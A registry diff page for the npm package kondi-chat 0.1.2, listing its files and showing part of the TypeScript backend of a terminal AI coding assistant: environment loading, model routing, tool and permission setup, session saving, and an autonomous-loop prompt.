@thispointon/kondi-chat 0.1.2
This diff represents the content of publicly available package versions that have been released to one of the supported registries. The information contained in this diff is provided for informational purposes only and reflects changes between package versions as they appear in their respective public registries.
- package/LICENSE +21 -0
- package/README.md +556 -0
- package/bin/kondi-chat +56 -0
- package/bin/kondi-chat.js +72 -0
- package/package.json +55 -0
- package/scripts/demo.tape +49 -0
- package/scripts/postinstall.cjs +103 -0
- package/src/audit/analytics.ts +261 -0
- package/src/audit/ledger.ts +253 -0
- package/src/audit/telemetry.ts +165 -0
- package/src/cli/backend.ts +675 -0
- package/src/cli/commands.ts +419 -0
- package/src/cli/help.ts +182 -0
- package/src/cli/submit-helpers.ts +159 -0
- package/src/cli/submit.ts +539 -0
- package/src/cli/wizard.ts +121 -0
- package/src/context/bootstrap.ts +138 -0
- package/src/context/budget.ts +100 -0
- package/src/context/manager.ts +666 -0
- package/src/context/memory.ts +160 -0
- package/src/context/preflight.ts +176 -0
- package/src/context/project-brain.ts +101 -0
- package/src/context/receipts.ts +108 -0
- package/src/context/skills.ts +154 -0
- package/src/context/symbol-index.ts +240 -0
- package/src/council/profiles.ts +137 -0
- package/src/council/tool.ts +138 -0
- package/src/council-engine/cli/council-artifacts.ts +230 -0
- package/src/council-engine/cli/council-config.ts +178 -0
- package/src/council-engine/cli/council-session-export.ts +116 -0
- package/src/council-engine/cli/kondi.ts +98 -0
- package/src/council-engine/cli/llm-caller.ts +229 -0
- package/src/council-engine/cli/localStorage-shim.ts +119 -0
- package/src/council-engine/cli/node-platform.ts +68 -0
- package/src/council-engine/cli/run-council.ts +481 -0
- package/src/council-engine/cli/run-pipeline.ts +772 -0
- package/src/council-engine/cli/session-export.ts +153 -0
- package/src/council-engine/configs/councils/analysis.json +101 -0
- package/src/council-engine/configs/councils/code-planning.json +86 -0
- package/src/council-engine/configs/councils/coding.json +89 -0
- package/src/council-engine/configs/councils/debate.json +97 -0
- package/src/council-engine/configs/councils/solo-claude.json +34 -0
- package/src/council-engine/configs/councils/solo-gpt.json +34 -0
- package/src/council-engine/council/coding-orchestrator.ts +1205 -0
- package/src/council-engine/council/context-bootstrap.ts +147 -0
- package/src/council-engine/council/context-inspection.ts +42 -0
- package/src/council-engine/council/context-store.ts +763 -0
- package/src/council-engine/council/deliberation-orchestrator.ts +2762 -0
- package/src/council-engine/council/factory.ts +164 -0
- package/src/council-engine/council/index.ts +201 -0
- package/src/council-engine/council/ledger-store.ts +438 -0
- package/src/council-engine/council/prompts.ts +1689 -0
- package/src/council-engine/council/storage-cleanup.ts +164 -0
- package/src/council-engine/council/store.ts +1110 -0
- package/src/council-engine/council/synthesis.ts +291 -0
- package/src/council-engine/council/types.ts +845 -0
- package/src/council-engine/council/validation.ts +613 -0
- package/src/council-engine/pipeline/build-detect.ts +73 -0
- package/src/council-engine/pipeline/executor.ts +1048 -0
- package/src/council-engine/pipeline/index.ts +9 -0
- package/src/council-engine/pipeline/install-detect.ts +84 -0
- package/src/council-engine/pipeline/memory-store.ts +182 -0
- package/src/council-engine/pipeline/output-parsers.ts +146 -0
- package/src/council-engine/pipeline/run-output.ts +149 -0
- package/src/council-engine/pipeline/session-import.ts +177 -0
- package/src/council-engine/pipeline/store.ts +753 -0
- package/src/council-engine/pipeline/test-detect.ts +82 -0
- package/src/council-engine/pipeline/types.ts +401 -0
- package/src/council-engine/services/deliberationSummary.ts +114 -0
- package/src/council-engine/tsconfig.json +16 -0
- package/src/council-engine/types/mcp.ts +122 -0
- package/src/council-engine/utils/filterTools.ts +73 -0
- package/src/engine/apply.ts +238 -0
- package/src/engine/checkpoints.ts +237 -0
- package/src/engine/consultants.ts +347 -0
- package/src/engine/diff.ts +171 -0
- package/src/engine/errors.ts +102 -0
- package/src/engine/git-tools.ts +246 -0
- package/src/engine/hooks.ts +181 -0
- package/src/engine/loop-guard.ts +155 -0
- package/src/engine/permissions.ts +293 -0
- package/src/engine/pipeline.ts +376 -0
- package/src/engine/sub-agents.ts +133 -0
- package/src/engine/task-card.ts +185 -0
- package/src/engine/task-router.ts +256 -0
- package/src/engine/task-store.ts +86 -0
- package/src/engine/tools.ts +783 -0
- package/src/engine/verify.ts +111 -0
- package/src/mcp/client.ts +225 -0
- package/src/mcp/config.ts +120 -0
- package/src/mcp/tool-manager.ts +192 -0
- package/src/mcp/types.ts +61 -0
- package/src/providers/llm-caller.ts +943 -0
- package/src/providers/rate-limiter.ts +238 -0
- package/src/router/NOTES.md +28 -0
- package/src/router/collector.ts +474 -0
- package/src/router/embeddings.ts +286 -0
- package/src/router/index.ts +299 -0
- package/src/router/intent-router.ts +225 -0
- package/src/router/nn-router.ts +205 -0
- package/src/router/profiles.ts +309 -0
- package/src/router/registry.ts +565 -0
- package/src/router/rules.ts +274 -0
- package/src/router/train.py +408 -0
- package/src/session/store.ts +211 -0
- package/src/test-utils/mock-llm.ts +39 -0
- package/src/types.ts +322 -0
- package/src/web/manager.ts +311 -0
|
@@ -0,0 +1,675 @@
|
|
|
1
|
+
#!/usr/bin/env npx tsx
|
|
2
|
+
/**
|
|
3
|
+
* kondi-chat backend — communicates with the Rust TUI via JSON-RPC over stdio.
|
|
4
|
+
*
|
|
5
|
+
* Reads commands from stdin (one JSON per line).
|
|
6
|
+
* Writes events to stdout (one JSON per line).
|
|
7
|
+
* All the LLM routing, tools, MCP, council logic runs here.
|
|
8
|
+
*/
|
|
9
|
+
|
|
10
|
+
import { createInterface } from 'node:readline';
|
|
11
|
+
import { resolve, join } from 'node:path';
|
|
12
|
+
import { existsSync, readFileSync, mkdirSync } from 'node:fs';
|
|
13
|
+
import { homedir } from 'node:os';
|
|
14
|
+
import type { ProviderId, Session, LLMMessage } from '../types.ts';
|
|
15
|
+
import { callLLM } from '../providers/llm-caller.ts';
|
|
16
|
+
import { ContextManager, createSession } from '../context/manager.ts';
|
|
17
|
+
import { MemoryManager } from '../context/memory.ts';
|
|
18
|
+
import { bootstrapDirectory } from '../context/bootstrap.ts';
|
|
19
|
+
import { Ledger, estimateCost } from '../audit/ledger.ts';
|
|
20
|
+
import { AGENT_TOOLS, type ToolContext } from '../engine/tools.ts';
|
|
21
|
+
import { loadConsultants } from '../engine/consultants.ts';
|
|
22
|
+
import { SymbolIndexer } from '../context/symbol-index.ts';
|
|
23
|
+
import { TaskStore } from '../engine/task-store.ts';
|
|
24
|
+
import { PermissionManager, hasShellChainOperator } from '../engine/permissions.ts';
|
|
25
|
+
import { detectGitRepo, formatGitContextForPrompt, GIT_TOOLS, executeGitTool, type GitContext } from '../engine/git-tools.ts';
|
|
26
|
+
import { CheckpointManager, isMutatingToolCall, predictedMutations } from '../engine/checkpoints.ts';
|
|
27
|
+
import { SessionStore, AUTO_SAVE_MS } from '../session/store.ts';
|
|
28
|
+
import { RateLimiter, loadRateLimitConfig, setRateLimiter } from '../providers/rate-limiter.ts';
|
|
29
|
+
import { HookRunner } from '../engine/hooks.ts';
|
|
30
|
+
import { runSubAgent, formatSubAgentResult } from '../engine/sub-agents.ts';
|
|
31
|
+
import { WebToolsManager } from '../web/manager.ts';
|
|
32
|
+
import type { ImageAttachment } from '../types.ts';
|
|
33
|
+
import { Router as UnifiedRouter } from '../router/index.ts';
|
|
34
|
+
import { ProfileManager, type BudgetProfile } from '../router/profiles.ts';
|
|
35
|
+
import { LoopGuard } from '../engine/loop-guard.ts';
|
|
36
|
+
import { McpClientManager } from '../mcp/client.ts';
|
|
37
|
+
import { loadMcpConfig } from '../mcp/config.ts';
|
|
38
|
+
import { ToolManager } from '../mcp/tool-manager.ts';
|
|
39
|
+
import { CouncilProfileManager } from '../council/profiles.ts';
|
|
40
|
+
import { executeCouncil } from '../council/tool.ts';
|
|
41
|
+
import { RoutingCollector } from '../router/collector.ts';
|
|
42
|
+
import type { ModelRegistry } from '../router/registry.ts';
|
|
43
|
+
import { pickCompressionModel } from './submit-helpers.ts';
|
|
44
|
+
import { handleCommand } from './commands.ts';
|
|
45
|
+
import { handleSubmit } from './submit.ts';
|
|
46
|
+
import { Analytics } from '../audit/analytics.ts';
|
|
47
|
+
import { TelemetryEmitter } from '../audit/telemetry.ts';
|
|
48
|
+
import { runFirstRunWizard, checkForUpdate, readActiveProfile, writeActiveProfile } from './wizard.ts';
|
|
49
|
+
import { formatHelp } from './help.ts';
|
|
50
|
+
|
|
51
|
+
// Spec 08 — MAX_TOOL_ITERATIONS deleted; handleSubmit now uses LoopGuard
|
|
52
|
+
// driven by the active budget profile.
|
|
53
|
+
|
|
54
|
+
// ── Helpers ──────────────────────────────────────────────────────────
|
|
55
|
+
|
|
56
|
+
function emit(event: any) {
|
|
57
|
+
process.stdout.write(JSON.stringify(event) + '\n');
|
|
58
|
+
}
|
|
59
|
+
|
|
60
|
+
function loadEnvFile(path: string): void {
|
|
61
|
+
if (!existsSync(path)) return;
|
|
62
|
+
for (const line of readFileSync(path, 'utf-8').split('\n')) {
|
|
63
|
+
const trimmed = line.trim();
|
|
64
|
+
if (!trimmed || trimmed.startsWith('#')) continue;
|
|
65
|
+
const eq = trimmed.indexOf('=');
|
|
66
|
+
if (eq < 0) continue;
|
|
67
|
+
const key = trimmed.slice(0, eq).trim();
|
|
68
|
+
const val = trimmed.slice(eq + 1).trim().replace(/^["']|["']$/g, '');
|
|
69
|
+
if (!process.env[key]) process.env[key] = val;
|
|
70
|
+
}
|
|
71
|
+
}
|
|
72
|
+
|
|
73
|
+
function loadEnv(): void {
|
|
74
|
+
// Load from the kondi-chat install directory (process.cwd = project root
|
|
75
|
+
// because the TUI spawns the backend with current_dir(&project_root)).
|
|
76
|
+
loadEnvFile(resolve(process.cwd(), '.env'));
|
|
77
|
+
// Also load from the user's actual working directory (passed via --cwd)
|
|
78
|
+
// so API keys in the user's project .env are picked up too.
|
|
79
|
+
const cwdIdx = process.argv.indexOf('--cwd');
|
|
80
|
+
if (cwdIdx >= 0 && process.argv[cwdIdx + 1]) {
|
|
81
|
+
loadEnvFile(resolve(process.argv[cwdIdx + 1], '.env'));
|
|
82
|
+
}
|
|
83
|
+
// Also load from ~/.kondi-chat/.env as a user-level fallback.
|
|
84
|
+
loadEnvFile(resolve(homedir(), '.kondi-chat', '.env'));
|
|
85
|
+
}
|
|
86
|
+
|
|
87
|
+
// ── Main ─────────────────────────────────────────────────────────────
|
|
88
|
+
|
|
89
|
+
async function main() {
|
|
90
|
+
loadEnv();
|
|
91
|
+
// The TUI passes --cwd <dir> with the user's actual working directory
|
|
92
|
+
// (where they ran `kondi-chat`). Without it, fall back to process.cwd().
|
|
93
|
+
const cwdIdx = process.argv.indexOf('--cwd');
|
|
94
|
+
const workingDir = (cwdIdx >= 0 && process.argv[cwdIdx + 1])
|
|
95
|
+
? resolve(process.argv[cwdIdx + 1])
|
|
96
|
+
: process.cwd();
|
|
97
|
+
const storageDir = resolve(workingDir, '.kondi-chat');
|
|
98
|
+
mkdirSync(storageDir, { recursive: true });
|
|
99
|
+
|
|
100
|
+
// Spec 16 — first-run setup wizard (non-interactive; safe on every start).
|
|
101
|
+
runFirstRunWizard(storageDir);
|
|
102
|
+
// Spec 16 — async update check; swallow failures. Don't block startup.
|
|
103
|
+
checkForUpdate('0.1.2').then(b => { if (b) emit({ type: 'status', text: b }); }).catch(() => {});
|
|
104
|
+
|
|
105
|
+
// Spec 06 — session resume
|
|
106
|
+
const sessionStore = new SessionStore(storageDir);
|
|
107
|
+
sessionStore.cleanup();
|
|
108
|
+
const resumeIdx = process.argv.indexOf('--resume');
|
|
109
|
+
let session: Session;
|
|
110
|
+
let resumed = false;
|
|
111
|
+
let resumedSummary = '';
|
|
112
|
+
let restoredProfile: string | undefined;
|
|
113
|
+
let restoredOverrideModel: string | undefined;
|
|
114
|
+
if (resumeIdx >= 0) {
|
|
115
|
+
const nextArg = process.argv[resumeIdx + 1];
|
|
116
|
+
const persisted = nextArg && !nextArg.startsWith('--')
|
|
117
|
+
? sessionStore.load(nextArg)
|
|
118
|
+
: sessionStore.loadLatest(workingDir);
|
|
119
|
+
if (persisted) {
|
|
120
|
+
session = persisted.session;
|
|
121
|
+
resumed = true;
|
|
122
|
+
resumedSummary = `${session.messages.length} messages, $${session.totalCostUsd.toFixed(4)}`;
|
|
123
|
+
restoredProfile = persisted.activeProfile;
|
|
124
|
+
restoredOverrideModel = persisted.overrideModel;
|
|
125
|
+
} else {
|
|
126
|
+
session = createSession('openai' as ProviderId, undefined, workingDir);
|
|
127
|
+
}
|
|
128
|
+
} else {
|
|
129
|
+
session = createSession('openai' as ProviderId, undefined, workingDir);
|
|
130
|
+
}
|
|
131
|
+
const ledger = new Ledger(session.id, storageDir);
|
|
132
|
+
const analytics = new Analytics(storageDir);
|
|
133
|
+
const telemetry = new TelemetryEmitter(storageDir);
|
|
134
|
+
telemetry.record({ kind: 'feature_used', feature: resumed ? 'session_resumed' : 'session_started', timestamp: new Date().toISOString() });
|
|
135
|
+
const router = new UnifiedRouter(storageDir, { useIntent: true });
|
|
136
|
+
const registry = router.registry;
|
|
137
|
+
const collector = router.collector;
|
|
138
|
+
// Profile precedence: --resume session > config.json default > 'balanced'.
|
|
139
|
+
const initialProfile = restoredProfile || readActiveProfile(storageDir);
|
|
140
|
+
const profiles = new ProfileManager(initialProfile as any, storageDir);
|
|
141
|
+
router.rules.setProfile(profiles.getActive());
|
|
142
|
+
if (restoredOverrideModel) {
|
|
143
|
+
const m = registry.getById(restoredOverrideModel) || registry.getByAlias(restoredOverrideModel);
|
|
144
|
+
if (m) router.rules.setOverride(m);
|
|
145
|
+
}
|
|
146
|
+
|
|
147
|
+
const mcpClient = new McpClientManager();
|
|
148
|
+
const mcpConfigs = loadMcpConfig(workingDir);
|
|
149
|
+
if (mcpConfigs.size > 0) {
|
|
150
|
+
await mcpClient.connectAll(mcpConfigs);
|
|
151
|
+
}
|
|
152
|
+
const toolManager = new ToolManager(mcpClient);
|
|
153
|
+
const hookRunner = new HookRunner(join(storageDir, 'hooks.json'), workingDir);
|
|
154
|
+
toolManager.setHookRunner(hookRunner);
|
|
155
|
+
|
|
156
|
+
// Web tools — always registered. Uses DuckDuckGo by default (no API key
|
|
157
|
+
// needed). Upgrades to Brave Search if BRAVE_SEARCH_API_KEY is set.
|
|
158
|
+
const webTools = new WebToolsManager();
|
|
159
|
+
for (const tool of webTools.getTools()) {
|
|
160
|
+
toolManager.registerTool(tool, async (args) => webTools.executeTool(tool.name, args));
|
|
161
|
+
}
|
|
162
|
+
|
|
163
|
+
const councilProfiles = new CouncilProfileManager(storageDir);
|
|
164
|
+
// The kondi-council deliberation engine is bundled at src/council-engine/;
|
|
165
|
+
// executeCouncil resolves it relative to its own module path.
|
|
166
|
+
// Councils are expensive (fan out to multiple frontier models for
|
|
167
|
+
// multi-round deliberation) and blocking (synchronous subprocess).
|
|
168
|
+
// They must NEVER be auto-invokable by the agent — the model must not
|
|
169
|
+
// see COUNCIL_TOOL in its toolset. Users reach councils only via the
|
|
170
|
+
// explicit /council slash command in handleCommand.
|
|
171
|
+
|
|
172
|
+
// Bootstrap
|
|
173
|
+
const ctx = await bootstrapDirectory(workingDir, 'light');
|
|
174
|
+
if (ctx) session.groundingContext = ctx;
|
|
175
|
+
|
|
176
|
+
const memoryManager = new MemoryManager(workingDir);
|
|
177
|
+
const contextManager = new ContextManager(
|
|
178
|
+
session,
|
|
179
|
+
{ contextBudget: profiles.getActive().contextBudget },
|
|
180
|
+
ledger,
|
|
181
|
+
memoryManager,
|
|
182
|
+
);
|
|
183
|
+
// Pick a cheap, profile-appropriate compression model. When the active
|
|
184
|
+
// profile restricts providers (e.g. zai), the compaction LLM call should
|
|
185
|
+
// stay inside the filter. For unrestricted profiles, fall back to the
|
|
186
|
+
// cheapest `summarization` model in the registry.
|
|
187
|
+
const applyProfileScope = () => {
|
|
188
|
+
const p = profiles.getActive();
|
|
189
|
+
const cheap = pickCompressionModel(registry, p);
|
|
190
|
+
if (cheap) contextManager.setCompressionModel(cheap.provider, cheap.id);
|
|
191
|
+
router.setProfileScope({
|
|
192
|
+
classifier: cheap ? { provider: cheap.provider, model: cheap.id } : undefined,
|
|
193
|
+
rolePinning: p.rolePinning,
|
|
194
|
+
allowedProviders: p.allowedProviders,
|
|
195
|
+
});
|
|
196
|
+
};
|
|
197
|
+
applyProfileScope();
|
|
198
|
+
|
|
199
|
+
// Spec 02 — git context (refreshed after mutating tools and once per turn).
|
|
200
|
+
let gitCtx: GitContext = detectGitRepo(workingDir);
|
|
201
|
+
contextManager.setGitContextText(formatGitContextForPrompt(gitCtx));
|
|
202
|
+
const refreshGit = () => {
|
|
203
|
+
gitCtx = detectGitRepo(workingDir);
|
|
204
|
+
contextManager.setGitContextText(formatGitContextForPrompt(gitCtx));
|
|
205
|
+
};
|
|
206
|
+
// Push a git_info status event to the TUI so it can update the status bar.
|
|
207
|
+
const emitGitInfo = () => {
|
|
208
|
+
if (!gitCtx.isGitRepo) return;
|
|
209
|
+
emit({
|
|
210
|
+
type: 'status',
|
|
211
|
+
text: '', // clear any stale status text
|
|
212
|
+
git_info: {
|
|
213
|
+
branch: gitCtx.branch,
|
|
214
|
+
dirty_count: gitCtx.dirtyCount + gitCtx.untrackedCount,
|
|
215
|
+
last_commit: gitCtx.lastCommitHash,
|
|
216
|
+
},
|
|
217
|
+
});
|
|
218
|
+
};
|
|
219
|
+
// Refresh git status every 5 seconds so external changes (editor saves,
|
|
220
|
+
// git commands in another terminal) show up without waiting for a turn.
|
|
221
|
+
if (gitCtx.isGitRepo) {
|
|
222
|
+
setInterval(() => { refreshGit(); emitGitInfo(); }, 5000);
|
|
223
|
+
}
|
|
224
|
+
for (const tool of GIT_TOOLS) {
|
|
225
|
+
toolManager.registerTool(tool, async (args, _toolCtx) => {
|
|
226
|
+
const res = await executeGitTool(tool.name, args, workingDir, gitCtx);
|
|
227
|
+
refreshGit();
|
|
228
|
+
return res;
|
|
229
|
+
});
|
|
230
|
+
}
|
|
231
|
+
|
|
232
|
+
// Spec 14 — rate limiter is a global singleton consulted from llm-caller.
|
|
233
|
+
const rateLimiter = new RateLimiter(loadRateLimitConfig(storageDir));
|
|
234
|
+
setRateLimiter(rateLimiter);
|
|
235
|
+
|
|
236
|
+
const checkpointManager = new CheckpointManager(workingDir, session.id, storageDir);
|
|
237
|
+
|
|
238
|
+
// Spec 09 — pending image attachments (from /attach). Flushed on next submit.
|
|
239
|
+
const pendingImages: ImageAttachment[] = [];
|
|
240
|
+
|
|
241
|
+
const skipPermissions = process.argv.includes('--dangerously-skip-permissions');
|
|
242
|
+
const permissionManager = new PermissionManager(
|
|
243
|
+
join(storageDir, 'permissions.json'),
|
|
244
|
+
skipPermissions,
|
|
245
|
+
);
|
|
246
|
+
|
|
247
|
+
const toolCtx: ToolContext = {
|
|
248
|
+
workingDir,
|
|
249
|
+
session,
|
|
250
|
+
ledger,
|
|
251
|
+
pipelineConfig: {
|
|
252
|
+
provider: session.activeProvider,
|
|
253
|
+
model: session.activeModel,
|
|
254
|
+
router,
|
|
255
|
+
collector,
|
|
256
|
+
promotionThreshold: 2,
|
|
257
|
+
workingDir,
|
|
258
|
+
autoVerify: true,
|
|
259
|
+
taskStore: new TaskStore(storageDir),
|
|
260
|
+
// Stream per-phase activity events into the same emit sink the
|
|
261
|
+
// agent loop uses, so create_task is visibly transparent to the TUI
|
|
262
|
+
// instead of blocking as one opaque tool line.
|
|
263
|
+
emit,
|
|
264
|
+
},
|
|
265
|
+
memoryManager,
|
|
266
|
+
setActiveFile: (p: string) => contextManager.setActiveFile(p),
|
|
267
|
+
permissionManager,
|
|
268
|
+
consultants: loadConsultants(storageDir),
|
|
269
|
+
symbolIndex: (() => {
|
|
270
|
+
const indexer = new SymbolIndexer(workingDir);
|
|
271
|
+
const scanned = indexer.build();
|
|
272
|
+
if (scanned > 0) process.stderr.write(`[symbol-index] scanned ${scanned} files\n`);
|
|
273
|
+
return indexer;
|
|
274
|
+
})(),
|
|
275
|
+
emit,
|
|
276
|
+
spawnSubAgent: async (type, instruction) => {
|
|
277
|
+
emit({ type: 'activity', text: `spawn_agent(${type}): ${instruction.slice(0, 80)}`, activity_type: 'sub_agent' });
|
|
278
|
+
const r = await runSubAgent(type, instruction, { router, toolManager, toolCtx, session });
|
|
279
|
+
emit({ type: 'activity', text: `sub-agent ${type} done: ${r.iterations}it $${r.costUsd.toFixed(4)}`, activity_type: 'sub_agent' });
|
|
280
|
+
return formatSubAgentResult(r);
|
|
281
|
+
},
|
|
282
|
+
};
|
|
283
|
+
|
|
284
|
+
// Health check
|
|
285
|
+
await registry.checkHealth();
|
|
286
|
+
const available = registry.getAvailable();
|
|
287
|
+
|
|
288
|
+
emit({
|
|
289
|
+
type: 'ready',
|
|
290
|
+
models: available.map(m => m.alias || m.id),
|
|
291
|
+
mode: profiles.getActive().name,
|
|
292
|
+
status: resumed
|
|
293
|
+
? `resumed ${session.id.slice(0, 8)} (${resumedSummary}) | mode: ${profiles.getActive().name}`
|
|
294
|
+
: `${available.length} models | mode: ${profiles.getActive().name}`,
|
|
295
|
+
git_info: gitCtx.isGitRepo ? {
|
|
296
|
+
branch: gitCtx.branch,
|
|
297
|
+
dirty_count: gitCtx.dirtyCount + gitCtx.untrackedCount,
|
|
298
|
+
last_commit: gitCtx.lastCommitHash,
|
|
299
|
+
} : null,
|
|
300
|
+
resumed,
|
|
301
|
+
resumed_session_id: resumed ? session.id : null,
|
|
302
|
+
resumed_message_count: resumed ? session.messages.length : null,
|
|
303
|
+
});
|
|
304
|
+
|
|
305
|
+
// Tell the TUI what the routing state is at startup so the bottom
|
|
306
|
+
// indicator renders correctly before the first turn arrives. If a
|
|
307
|
+
// prior session restored a /use override, we surface that; otherwise
|
|
308
|
+
// we show the profile name under "routing:".
|
|
309
|
+
{
|
|
310
|
+
const override = router.rules.getOverride();
|
|
311
|
+
if (override) {
|
|
312
|
+
emit({ type: 'model_override', label: override.alias || override.id, pinned: true });
|
|
313
|
+
} else {
|
|
314
|
+
emit({ type: 'model_override', label: profiles.getActive().name, pinned: false });
|
|
315
|
+
}
|
|
316
|
+
}
|
|
317
|
+
|
|
318
|
+
// Telemetry-disabled startup banner removed — it rendered on every launch
|
|
319
|
+
// and cluttered the status line. Users can discover /telemetry via /help.
|
|
320
|
+
|
|
321
|
+
sessionStore.setActive(session.id);
|
|
322
|
+
sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id);
|
|
323
|
+
const saveInterval = setInterval(() => {
|
|
324
|
+
try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); }
|
|
325
|
+
catch (e) { process.stderr.write(`[session-save] ${(e as Error).message}\n`); }
|
|
326
|
+
}, AUTO_SAVE_MS);
|
|
327
|
+
// Idempotent shutdown path. Signal + crash handlers route through here
|
|
328
|
+
// so the session is flushed AND MCP child transports get a chance to
|
|
329
|
+
// close cleanly before the process exits. A hard 2s deadline backs up
|
|
330
|
+
// the async cleanup — if MCP is wedged we'd rather kill the process
|
|
331
|
+
// than hang the user's terminal forever.
|
|
332
|
+
let shuttingDown = false;
|
|
333
|
+
const saveAndExit = (exitCode: number = 0): void => {
|
|
334
|
+
if (shuttingDown) return;
|
|
335
|
+
shuttingDown = true;
|
|
336
|
+
clearInterval(saveInterval);
|
|
337
|
+
try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
|
|
338
|
+
// Hard deadline: force-exit if cleanup doesn't finish in 2 seconds.
|
|
339
|
+
const deadline = setTimeout(() => process.exit(exitCode), 2000);
|
|
340
|
+
deadline.unref();
|
|
341
|
+
// Tear down MCP client connections so stdio child processes get a
|
|
342
|
+
// real close() instead of becoming zombies on SIGKILL of the parent.
|
|
343
|
+
mcpClient.disconnectAll()
|
|
344
|
+
.catch(() => { /* best-effort cleanup */ })
|
|
345
|
+
.finally(() => process.exit(exitCode));
|
|
346
|
+
};
|
|
347
|
+
process.on('SIGTERM', () => saveAndExit(0));
|
|
348
|
+
process.on('SIGINT', () => saveAndExit(0));
|
|
349
|
+
|
|
350
|
+
// Spec 13 — fatal handlers flush session state before crashing out
|
|
351
|
+
process.on('uncaughtException', (err) => {
|
|
352
|
+
try { emit({ type: 'error', message: `Uncaught: ${err.message}`, recoverable: false }); } catch { /* ignore */ }
|
|
353
|
+
saveAndExit(1);
|
|
354
|
+
});
|
|
355
|
+
process.on('unhandledRejection', (reason) => {
|
|
356
|
+
try { emit({ type: 'error', message: `Unhandled rejection: ${String(reason)}`, recoverable: false }); } catch { /* ignore */ }
|
|
357
|
+
saveAndExit(1);
|
|
358
|
+
});
|
|
359
|
+
|
|
360
|
+
// Spec 13 — integrate any recovery partial left by a prior crashed run
|
|
361
|
+
const recovered = sessionStore.checkForRecovery(session.id);
|
|
362
|
+
if (recovered?.content) {
|
|
363
|
+
session.messages.push({
|
|
364
|
+
role: 'assistant',
|
|
365
|
+
content: `${recovered.content}\n\n[recovered from crash]`,
|
|
366
|
+
timestamp: recovered.savedAt,
|
|
367
|
+
});
|
|
368
|
+
sessionStore.clearRecovery(session.id);
|
|
369
|
+
}
|
|
370
|
+
|
|
371
|
+
// ── Non-interactive mode (Spec 10) ─────────────────────────────────
|
|
372
|
+
// When --prompt/--pipe/--json/--sessions are set, we run a single turn
|
|
373
|
+
// and exit instead of entering the JSON-RPC event loop.
|
|
374
|
+
const nonInteractive = parseNonInteractiveFlags(process.argv);
|
|
375
|
+
if (nonInteractive) {
|
|
376
|
+
const code = await runNonInteractiveTurn(
|
|
377
|
+
nonInteractive, workingDir, session, contextManager, ledger, router,
|
|
378
|
+
toolCtx, toolManager, profiles, checkpointManager, sessionStore,
|
|
379
|
+
skipPermissions,
|
|
380
|
+
);
|
|
381
|
+
clearInterval(saveInterval);
|
|
382
|
+
process.exit(code);
|
|
383
|
+
}
|
|
384
|
+
|
|
385
|
+
// ── Handle commands from TUI ───────────────────────────────────────
|
|
386
|
+
|
|
387
|
+
const rl = createInterface({ input: process.stdin });
|
|
388
|
+
|
|
389
|
+
rl.on('line', async (line: string) => {
|
|
390
|
+
let cmd: any;
|
|
391
|
+
try { cmd = JSON.parse(line); } catch { return; }
|
|
392
|
+
|
|
393
|
+
if (cmd.type === 'quit') {
|
|
394
|
+
// saveAndExit handles both the session flush and MCP teardown
|
|
395
|
+
// behind a 2s hard deadline. No need for redundant disconnects here.
|
|
396
|
+
saveAndExit(0);
|
|
397
|
+
return;
|
|
398
|
+
}
|
|
399
|
+
|
|
400
|
+
if (cmd.type === 'permission_response') {
|
|
401
|
+
permissionManager.handleResponse(cmd.id, cmd.decision);
|
|
402
|
+
return;
|
|
403
|
+
}
|
|
404
|
+
|
|
405
|
+
if (cmd.type === 'command') {
|
|
406
|
+
// `/loop <goal>` is not a simple string-returning slash command —
|
|
407
|
+
// it spawns a multi-iteration agent loop that needs the streaming
|
|
408
|
+
// event path of handleSubmit. Route it there instead of
|
|
409
|
+
// handleCommand so the TUI sees tool_call / activity / message
|
|
410
|
+
// events in real time.
|
|
411
|
+
const loopMatch = (cmd.text as string).match(/^\/loop\s+([\s\S]+)/);
|
|
412
|
+
if (loopMatch) {
|
|
413
|
+
const goal = loopMatch[1].trim();
|
|
414
|
+
refreshGit();
|
|
415
|
+
toolCtx.mutatedFiles = new Set();
|
|
416
|
+
const boot = `Autonomous loop — goal: ${goal}\n\n` +
|
|
417
|
+
`Work toward this goal using the available tools. Do not stop at the ` +
|
|
418
|
+
`first pass. Keep iterating: investigate, edit, verify, refine.\n\n` +
|
|
419
|
+
`IMPORTANT: for any unit of real coding work, call the create_task ` +
|
|
420
|
+
`tool with a clear goal + constraints. create_task runs the full ` +
|
|
421
|
+
`dispatch → execute → verify → reflect pipeline, which routes each ` +
|
|
422
|
+
`phase to a different role-appropriate model from the active ` +
|
|
423
|
+
`profile (planning model for dispatch, coding model for execute, ` +
|
|
424
|
+
`reflect model for the final critique) and verifies the result ` +
|
|
425
|
+
`against local tools. Prefer create_task over ad-hoc read_file + ` +
|
|
426
|
+
`write_file loops whenever the task has a clear goal you can state.\n\n` +
|
|
427
|
+
`When the goal is fully accomplished, respond with DONE on its own ` +
|
|
428
|
+
`line followed by a brief summary of what changed. If you are blocked ` +
|
|
429
|
+
`and cannot proceed, respond with STUCK: <reason>.`;
|
|
430
|
+
await handleSubmit(boot, {
|
|
431
|
+
session, contextManager, ledger, router, collector,
|
|
432
|
+
toolCtx, toolManager, profiles, checkpointManager, emit,
|
|
433
|
+
}, { loop: true, loopGoal: goal });
|
|
434
|
+
try { sessionStore.save(session, profiles.getActive().name, router.rules.getOverride()?.id); } catch { /* ignore */ }
|
|
435
|
+
emit({ type: 'command_result', output: `Loop finished.` });
|
|
436
|
+
refreshGit();
|
|
437
|
+
emitGitInfo();
|
|
438
|
+
return;
|
|
439
|
+
}
|
|
440
|
+
const output = await handleCommand(cmd.text, {
|
|
441
|
+
session, contextManager, ledger, registry, collector, toolCtx,
|
|
442
|
+
mcpClient, toolManager,
|
|
443
|
+
workingDir, profiles, router, councilProfiles,
|
|
444
|
+
analytics, checkpointManager, sessionStore, rateLimiter,
|
|
445
|
+
pendingImages, telemetry, emit,
|
|
446
|
+
});
|
|
447
|
+
emit({ type: 'command_result', output });
|
|
448
|
+
refreshGit();
|
|
449
|
+
emitGitInfo();
|
|
450
|
+
return;
|
|
451
|
+
}
|
|
452
|
+
|
|
453
|
+
if (cmd.type === 'submit') {
|
|
454
|
+
refreshGit();
|
|
455
|
+
toolCtx.mutatedFiles = new Set();
|
|
456
|
+
// Spec 09 — images arrive as an array of {mimeType, base64, originalPath?}
|
|
457
|
+
// on the submit command. For v1 we just note them in the text so the
|
|
458
|
+
// user's intent is visible to the model; full multimodal dispatch is
|
|
459
|
+
// deferred (see IMPLEMENTATION-LOG.md).
|
|
460
|
+
